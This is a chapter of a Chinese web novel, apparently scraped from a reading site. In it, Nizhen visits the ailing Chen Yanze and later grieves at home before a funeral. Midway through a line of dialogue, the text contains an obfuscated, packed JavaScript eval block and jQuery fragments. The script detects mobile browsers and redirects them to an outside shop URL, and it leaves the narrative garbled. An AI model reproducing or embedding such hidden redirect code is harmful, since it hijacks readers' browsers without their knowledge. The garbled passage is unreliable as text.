陈延泽被安置在另外一间屋子,推开门,偌大的房间一片黑暗,沉闷,干呛的味道扑鼻而来,充斥着死沉沉的滞闷浊气。
安静地不像话,也没有仪器的滴滴声。
旎真轻手轻脚地来到窗边坐下,望向床上正紧闭双眼,因为太过疲惫和生病而微微启唇的脸。
身后,黄姨紧跟过来,走到窗户旁把窗帘打开一角,一束光倾斜而入,她将推拉门打开,走到阳台外面。
旎真犹豫了下,起身跟过去。
“他昨晚睡得蛮安稳,这个点估计快醒了。”黄姨深深吸了口气,双手趴在栏杆上:“那个女人啊,我儿子这辈子就栽她身上了!真是造孽啊......”
旎真仿佛静入了骨,淡淡道:“您跟他吵起来,就是因为齐一禾吗?”
“也不全是,”她不知是经历过多少次声嘶力竭,才有了如今这幅心如止水的样子:“我能怎么办呢,我只有这么一个儿子,我所有的心血都倾注在他身上了,他难受,我比他更难受,他生病,我也跟着病。”
“您有没有想过,稍微松一松手,让他自己选择想要过的生活,或许您跟延泽哥都会快活很多。”
黄姨眼里都是恨:“你知道我当初为什么死活不同意齐一禾进门吗?他以前不是没有过女人,我从来都当看不见,齐一禾第一次给我留下最深的印象,是当时延泽跟几个欧洲国际航运公司的联盟座谈会,数十亿的订单,那么重要的日子他竟然迟到。”
“当天下午我才知道,原来他提前一天回国了,齐一禾在山里拍摄,仅仅是为了见她一面......那天山里下大雨,他没能赶上飞机。”
......
旎真安安静静地扮演聆听的角色,两代人,意见有分歧是自然,不过她选择保持缄默。
过了一会儿,里头传来几声咳嗽。
旎真推开门,走到床边坐下:“延泽哥,我来看看你。”
陈延泽微不可见地点了个头,并不意外,黄姨正准备扶他坐起来,却被一个摇头顿住脚步,他双手撑着床,慢慢坐起来靠上床头软榻。
“妈,我单独跟旎真待一会儿。”
黄姨现在哪还敢有半分意见,面无表情地出去了。
“我现在看起来,是不是很吓人。”他语气平和,细看甚至有温温笑意。
这幕诡谲又荒诞,旎真怔了怔神,错乱地想起关楚琼倒在自己怀里时的模样,心脏仿佛被一双有力的手掐住。
“......是不怎么好看了,”她渐渐找回自己的声音,道:“你瘦脱相了,延泽哥,再这样下去你跟帅哥可没半点关系了。”
陈延泽弯了唇角,提起旁边的保温壶,倒了杯温水握在手里:“那边有咖啡机,冰箱里有水,我行动不便,你自己拿吧,我们聊聊天。”
现在喝什么都像在喝白水,她随便从冰箱里拿了瓶矿泉水,回到床边,放在床头柜上。
“其实你不来,我也是要去找你的。离婚这事别在意,我从医院回去之后就处理完工作上的事了,你爸不会怪你的,证拿到了吧?”
“拿到了。”
“嗯,跟你哥合作的那个项目,中标公司是星渡旗下子公司,后续的事情我交给田蔚全权处理,我可能要休息很长一段时间。”
“别说了,”旎真抠紧掌心,“你好好养病,别再想工作上的事,一定可以好起来的。”
“我妈瞒了几年病情,也吩咐他们不准告诉我,可是我自己的身体,我比谁都清楚。”
“那,你得抑郁症的事,她知道吗?”
陈延泽静默半晌,脑海中回想她大概是哪回进他房间发现的,“应该知道吧。”
陈延泽手作拳抵着嘴咳了几下,转身从抽屉里拿出一张信封,旎真起初没瞧出来,直到他抽出信封里面的粉红色卡片,看清上面的字迹时,才猛地回忆了起来。
“这、这个,你还留着?”她吃了一惊,怕是得有十年了吧。
“当然,我那时候还想等你以后长大结婚,找个时间拿出来让你社死。”他笑着说,翻折了一下卡片。
旎真接过他递来的卡片,一字一字地看当年她亲笔写下的这么一封情书,忍俊不禁之外又有点感慨。
“你成功了,”她捂住眼睛:“我没眼往下看了。”
人都无法共情以前的自己。
怪不得当初陈延泽收到这封信时没当回事,甚至以她同龄人的口吻给自己回了一封,如今看来,实在幼稚可笑,任谁看了都只会说一句“童言无忌”。
“所以你真的把我给你的回信弄丢了?”
“好像是不见了......本来好好收着的,有段时间没想起来,再找就找不到了。”她微微蹙眉。
这样我就放心了,陈延泽心想。
“学生时代,应该有很多人喜欢旎真吧?”
“那当然咯。”
“那旎真有没有喜欢过的人?”
她愣了一下,摇摇头:“真正喜欢的吗,没有。”
“什么叫真正喜欢?”
“就是走心的那种,”她换了只手臂搭在腿上,另一只手托着腮:“其实从小到大追求我的男孩子,他们也没走过心,都是很表面的喜欢。”
陈延泽眼里提起几分好奇,“怎么才算走心。”
旎真想了想,斟酌道:“嗯...你跟齐一禾那种......就算走心吧。”
他撇过头,不自觉地笑起来,流露出几分真实的愉悦。
“欸,你跟我讲讲你俩怎么认识的,做过最浪漫的事情是什么?”她挪近凳子,摆出听故事的耐心模样。
“最浪漫的事......?”他双手交叉,视线凝向天花板:“我们是一次商务饭局认识的,我是资方之一,她是他们公司定下的主演。过去我从未涉足过影视业,所以仅仅抱着考察的心态,加上我看过资料,对剧本并不看好,饭局上,她一个劲地给我们敬酒。”
“我看出她酒量不好,但架不住经纪公司的人还有导演制作纷纷劝,我不想为难女人,便借口去洗手间,这样她至少不用给我敬酒,能少喝很多。”
旎真注意到他讲述时的神情,有一点喜,有一点愁,有一点超脱,以种局外人的口吻讲故事的坦然。
“饭局结束后,我让司机送她回家,我回了公司,不久接到司机电话,说她吐车上了,事后她向我赔礼道歉。”他笑笑:“很老套吧,我们就是这么认识的,这是很多年以前了,再后来我就出了国。”
“所以是在国外的时候谈上的?”
“嗯,其实想了想,我没有为她做过多么浪漫的事,反倒是她为我做了很多,总是提前准备我的生日礼物,安排我们的所有纪念日,我身体不好,只要她在就会下厨。”
旎真正听得津津有味,他却突然停住,她眨了眨眼:“怎么不讲了。”
“没什么好讲的,惊喜转瞬即逝,最浪漫的事,也许就是两个人在一起平淡安定的每一天。”
“你们都还年轻,一定会有以后的。”她忍不住靠过去,握住陈延泽的手:“积极治疗,快快好起来!”
她已经无法再接受亲近的人逝去。
“好。”陈延泽闭上眼睛,阳台洒进来的光照在他侧脸,映出一条清瘦透明的曲线。
“我这一生最愧有三,一个是父母,一个是齐一禾,还有一个就是你。白白耽误你这么长时间,害你落下一个离婚的名声。”
“这事我一点也不怪你,真的,”旎真收紧双手:“什么年代了还用名声枷锁这套来束缚女人,我才不会在意这些的,你千万别放心上。”
陈延泽怔愣半瞬,然后回过神来,是了,这样恣意明媚才是他记忆里的旎真,也一定会是某个男人的青春。
“希望未来有一位‘走心’爱你的人出现吧,或许早已经有了,只怕你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728718|207629||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不知道。”
“谁?”
“我能说吗?......靳二少爷。”
旎真心下一突,突然哽住了,不知道该说什么,满脑子想着他怎么知道自己跟靳劭豪的事的,甚至忘了这番话的本意是在说‘走心’。
“不是,你、你怎么......”
“之前在会所碰面,我一眼就看出来了,他似乎很喜欢你。”陈延泽淡定地看着她脸上的兵荒马乱。
旎真有点难为情,边捋了把头发含混道:“都过去了。”
不禁想到前天晚上发生的事,她知道自己转账的行为在靳劭豪看来代表着什么,无非就是拒绝再扯上关系,也不想有所亏欠,她知道,但还是这样做了,他就被气走了。
没过一会儿,唐女士进来问候了几句,诸如让陈延泽保重身体,早日康复之类的话。
待得差不多了,俩人离开陈家的时候,旎真看了看时间,已经十一点半。
回去的路程,安静无比。
唐女士早就注意到旎真背的MiniEvelyne里露出的半截信封,忍不住问起:“他给你的?我记得来之前没有。”
旎真点点头,走时陈延泽将那封信还给了她,见女儿并不打算解释什么,唐女士便没多问。
司机先将唐女士送回麓华庭,再送旎真回关家。
一下车,推开沉重大门,整个房子展现在眼前,昏暗空荡,一只脚踏进去的瞬间,旎真明显感觉到身体里被抽走了一部分。
视线扫过的每一处角落,都有关楚琼留下来的痕迹。
人都说,亲人去世,悲伤往往具有滞后性,心理学认为这是大脑的自我防御机制,叫急性应激麻木。
关楚琼走得实在太突然,这几天,旎真经常产生错觉,仿佛她只是出个门,出个差,很快便会回来。
事实摆在眼前,潜意识却怎么都不肯相信,于是,一回到熟悉环境,情绪便迸发了。
旎真像失去灵魂的木偶一样做着每天都会重复的事情,上楼,换鞋,带上房间门,脱下衣服,走进浴室。
一抬头,便看见镜子里早已满脸泪水的自己,她用手指抹了下血红的眼尾,点在唇边,舌头舔了舔,咸得发苦。旎真仿佛不觉,拿起台面上的发圈,扎了一个高马尾,接着拧开水龙头,掬一捧水朝脸上扑,手抖得不成样。
良久,一声几乎听不清的喘息从双手间溢出。
再也见不到关楚琼,听不到她的声音了。
晚饭时分,关耀钧回了趟家,伊内斯也来了,饭前拉着旎真聊了会儿闲天。
屠姨一脸悲伤地侍候在旁,这几天她一直这样,家里其他佣人提醒她,别做个死人脸,主人家会不高兴的,她无动于衷。
吃饭时,三人都很沉默,旎真几乎只夹了几筷子,突然食管涌上酸意,一阵反胃恶心。
“怎么,”关耀钧问:“菜不合胃口?”他特意嘱咐厨房做旎真喜欢的中餐。
“......我想回房间。”
“多少吃点,明天葬礼有很多前来吊唁的客人,还有媒体,现场应酬迎送往来,光我跟你大嫂忙不过来。”
“爸妈呢?”
“妈不去,爸下午还有别的行程,只在灵堂露一面。”
旎真点点头,又捧起碗,往嘴里塞了一筷子,面无表情地咀嚼。
关耀钧只觉苦恼,放下筷子,沉声道:“你这性子,半点藏不住事,实在不适合经商。”
“我本来就不想进金石。”
“这样最好,其实这几天我已经想过了,从前我对你期望过高,希望你以后不要恨哥哥的安排,最重要的是,我不想跟你连兄妹也没得做。”
旎真忍住摔筷子的冲动,深深吸了口气,平复好情绪,再睁开眼,俨然又是那副坚不可摧的神情。
“没人跟你争了,你爱怎么样就怎么样。”声音很轻,却字字清晰。